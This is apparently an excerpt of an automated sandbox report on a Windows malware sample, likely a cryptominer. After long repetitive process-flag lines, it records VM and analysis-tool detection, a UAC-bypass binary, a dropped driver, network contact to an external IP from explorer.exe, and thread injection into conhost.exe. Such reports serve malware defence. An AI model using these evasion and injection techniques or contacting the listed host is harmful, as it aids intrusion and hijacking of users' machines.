              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX

              Malware Analysis System Evasion

              barindex
              Query firmware table information (likely to detect VMs)
              Source: C:\Windows\explorer.exeSystem information queried: FirmwareTableInformationJump to behavior
              Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
              Source: conhost.exe, 00000010.00000003.2255180923.0000024769437000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2218560312.000002476943E000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2238560339.0000024769435000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2237491368.0000024769430000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2265143646.0000024769433000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2261244602.000002476943C000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2246350754.0000024769436000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2257958978.000002476943B000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2262725045.0000024769431000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2236720791.0000024769432000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2239521563.000002476943F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [0M%S STOPPING IDLE, SETTING MAX CPU TO: %D%S STARTING IDLE, SETTING MAX CPU TO: %DTASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE%S
              Source: conhost.exe, 00000010.00000003.2255180923.0000024769437000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2218560312.000002476943E000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2238560339.0000024769435000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2237491368.0000024769430000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2265143646.0000024769433000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2261244602.000002476943C000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2246350754.0000024769436000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2257958978.000002476943B000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2262725045.0000024769431000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2236720791.0000024769432000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2239521563.000002476943F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeMemory allocated: 1800000 memory reserve | memory write watchJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeMemory allocated: 1B550000 memory reserve | memory write watchJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\conhost.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\conhost.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\conhost.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\conhost.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4236Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5588Jump to behavior
              Source: C:\Windows\System32\conhost.exeWindow / User API: threadDelayed 2200
              Source: C:\Windows\System32\conhost.exeWindow / User API: threadDelayed 435
              Source: C:\Windows\System32\conhost.exeWindow / User API: threadDelayed 2626
              Source: C:\Windows\System32\conhost.exeDropped PE file which has not been started: C:\Users\user\AppData\Roaming\Microsoft\Libs\WR64.sysJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exeCheck user administrative privileges: GetTokenInformation,DecisionNodesgraph_5-1249
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exe TID: 6428Thread sleep time: -922337203685477s >= -30000sJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4540Thread sleep time: -11068046444225724s >= -30000sJump to behavior
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exeCode function: 5_2_00007FF6FE422F80 _errno,wcstol,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,CharLowerW,lstrlenA,CryptStringToBinaryA,CryptStringToBinaryA,#40,_invalid_parameter_noinfo_noreturn,memcpy,FindFirstFileW,_invalid_parameter_noinfo_noreturn,FindClose,ShellExecuteW,_invalid_parameter_noinfo_noreturn,memcpy,_invalid_parameter_noinfo_noreturn,memcpy,_invalid_parameter_noinfo_noreturn,LocalFree,CloseHandle,_invalid_parameter_noinfo_noreturn,Concurrency::cancel_current_task,Concurrency::cancel_current_task,Concurrency::cancel_current_task,5_2_00007FF6FE422F80
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\conhost.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\conhost.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\conhost.exeThread delayed: delay time: 35000Jump to behavior
              Source: C:\Windows\System32\conhost.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\conhost.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\conhost.exeThread delayed: delay time: 35000
              Source: C:\Windows\System32\conhost.exeThread delayed: delay time: 35000
              Source: C:\Windows\System32\conhost.exeThread delayed: delay time: 35000
              Source: C:\Windows\System32\conhost.exeThread delayed: delay time: 35000
              Source: conhost.exe, 00000012.00000002.2237873600.0000025C7E4D0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
              Source: conhost.exe, 00000012.00000002.2234497400.0000025C64234000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\
              Source: conhost.exe, 00000012.00000002.2237873600.0000025C7E4D0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exeCode function: 5_2_00007FF6FE425280 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,5_2_00007FF6FE425280
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exeCode function: 5_2_00007FF6FE425280 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,5_2_00007FF6FE425280
              Source: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exeCode function: 5_2_00007FF6FE424D5C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,5_2_00007FF6FE424D5C
              Source: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exeCode function: 5_2_00007FF6FE425424 SetUnhandledExceptionFilter,5_2_00007FF6FE425424
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeMemory allocated: page read and write | page guardJump to behavior

              HIPS / PFW / Operating System Protection Evasion

              barindex
              System process connects to network (likely due to code injection or exploit)
              Source: C:\Windows\explorer.exeNetwork Connect: 45.76.89.70 80Jump to behavior
              Allocates memory in foreign processes
              Source: C:\Users\user\AppData\Local\Temp\Cool.exeMemory allocated: C:\Windows\System32\conhost.exe base: 236C4F60000 protect: page execute and read and writeJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\services64.exeMemory allocated: C:\Windows\System32\conhost.exe base: 1EC44910000 protect: page execute and read and writeJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\services64.exeMemory allocated: C:\Windows\System32\conhost.exe base: 2474E5A0000 protect: page execute and read and writeJump to behavior
              Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exeMemory allocated: C:\Windows\System32\conhost.exe base: 25C64110000 protect: page execute and read and writeJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\services64.exeMemory allocated: C:\Windows\System32\conhost.exe base: 1D90D160000 protect: page execute and read and writeJump to behavior
              Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exeMemory allocated: C:\Windows\System32\conhost.exe base: 24457CD0000 protect: page execute and read and writeJump to behavior
              Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exeMemory allocated: C:\Windows\System32\conhost.exe base: 2A914300000 protect: page execute and read and writeJump to behavior
              Creates a thread in another existing process (thread injection)
              Source: C:\Users\user\AppData\Local\Temp\Cool.exeThread created: C:\Windows\System32\conhost.exe EIP: C4F60000Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\services64.exeThread created: C:\Windows\System32\conhost.exe EIP: 44910000Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\services64.exeThread created: C:\Windows\System32\conhost.exe EIP: 4E5A0000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exeThread created: C:\Windows\System32\conhost.exe EIP: 64110000Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\services64.exeThread created: C:\Windows\System32\conhost.exe EIP: D160000Jump to behavior
